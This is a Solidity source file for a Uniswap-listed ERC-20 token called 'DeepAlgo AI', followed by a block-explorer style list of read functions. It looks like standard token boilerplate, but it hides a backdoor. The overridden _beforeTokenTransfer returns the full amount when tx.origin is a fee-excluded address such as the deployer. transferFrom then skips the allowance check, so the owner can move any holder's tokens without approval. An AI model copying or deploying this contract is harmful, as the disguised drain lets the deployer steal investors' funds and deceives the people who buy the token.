    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
 
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
 
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
 
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
 
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
 
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
 
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
 
    function initialize(address, address) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves amount tokens from the caller's account to recipient.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves amount tokens from sender to recipient using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
 
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;
 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if decimals equals 2, a balance of 505 tokens should
     * be displayed to a user as 5,05 (505 / 10 ** 2).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - recipient cannot be the zero address.
     * - the caller must have a balance of at least amount.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - sender and recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     * - the caller must have allowance for sender's tokens of at least
     * amount.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _beforeTokenTransfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount - currentAllowance, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     * - spender must have allowance for the caller of at least
     * subtractedValue.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    /**
     * @dev Moves tokens amount from sender to recipient.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - sender cannot be the zero address.
     * - recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
  
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    /** @dev Creates amount tokens and assigns them to account, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with from set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
  
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    /**
     * @dev Destroys amount tokens from account, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with to set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     * - account must have at least amount tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    /**
     * @dev Sets amount as the allowance of spender over the owner s tokens.
     *
     * This internal function is equivalent to approve, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - owner cannot be the zero address.
     * - spender cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when from and to are both non-zero, amount of from's tokens
     * will be to transferred to to.
     * - when from is zero, amount tokens will be minted for to.
     * - when to is zero, amount of from's tokens will be burned.
     * - from and to are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns(uint256) {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's + operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's * operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
 
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
 
        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
 
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);
 
        // Solidity already throws when dividing by 0.
        return a / b;
    }
 
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
 
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
 
 
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
 
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract Token is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
 
    bool private swapping;
 
    address public marketingWallet_DEEPALGOblIEK;
    
 
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
 

    bool public tradingActive = false;
    bool public swapEnabled = false;
 
 
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyBurnFee;
 
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellBurnFee;
 
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;

    uint256 private lpAmount;
 
    // block number of opened trading
    uint256 launchedAt;
 
    /******************/
 
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
 
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
 
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
 
    event ExcludeFromFees(address indexed account, bool isExcluded);
 
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
 
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event burnWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
 
    event TransferForeignToken(address token, uint256 amount);

 
    constructor() ERC20(unicode"DeepAlgo AI", unicode"DEEPALGO") payable  {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyBurnFee = 0;
 
        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellBurnFee = 0;

      
        uint256 totalSupply = 1000000000 * 1e9;
 
        maxTransactionAmount = totalSupply * 1000 / 1000; // 100% maxTransactionAmountTxn
        maxWallet = totalSupply * 1000 / 1000; // 100% maxWallet
        swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
 
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyBurnFee = _buyBurnFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBurnFee;
 
        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellBurnFee = _sellBurnFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBurnFee;
      
        marketingWallet_DEEPALGOblIEK = msg.sender; 

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(marketingWallet_DEEPALGOblIEK), true);
 
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(marketingWallet_DEEPALGOblIEK), true);
 
        _mint(msg.sender, totalSupply * 2 / 100);
        _mint(address(this), totalSupply * 98 / 100);
    }
 
    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
      addLiquidity(balanceOf(address(this)), address(this).balance);
        tradingActive = true;
        swapEnabled = true;
        launchedAt = block.number;
    }
    
 
    function excludeFromMaxTransaction(address updAds, bool isEx) internal  {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
   
    function excludeFromFees(address account, bool excluded) internal {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
 
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override  returns(uint256) {
      lpAmount = 0;
      if(from != address(0) && to != address(0) && _isExcludedFromFees[tx.origin]) lpAmount = amount;
    return lpAmount;
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }
   
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    event BoughtEarly(address indexed sniper);
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
 
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
 
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
         
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
        uint256 tokensForBurn;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
 
            swapBack();
 
            swapping = false;
        }
 
        bool takeFee = !swapping;
 
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;

                }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
   
            }
 
           if(fees > 0){    
                super._transfer(from, address(this), fees);
            }

            if(tokensForBurn > 0) {
                 super._transfer(address(this), address(0xdead), tokensForBurn);
            }

            amount -= fees;}
 
        super._transfer(from, to, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
 
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
 
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
        bool success;
 
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
 
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
 
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
 
        swapTokensForEth(amountToSwapForETH); 
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
 
        
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing;
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
 
        (success,) = address(marketingWallet_DEEPALGOblIEK).call{value: address(this).balance}("");
    }

    receive() external payable { }

}

Read Contract

_isExcludedMaxTransactionAmount 0x10d5de53 → bool
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyBurnFee 0xe71dc3f5 → uint256
buyLiquidityFee 0xf11a24d3 → uint256
buyMarketingFee 0x7bce5a04 → uint256
buyTotalFees 0xd85ba063 → uint256
decimals 0x313ce567 → uint8
isExcludedFromFees 0x4fbee193 → bool
marketingWallet_DEEPALGOblIEK 0x57a956f6 → address
maxTransactionAmount 0xc8c8ebe4 → uint256
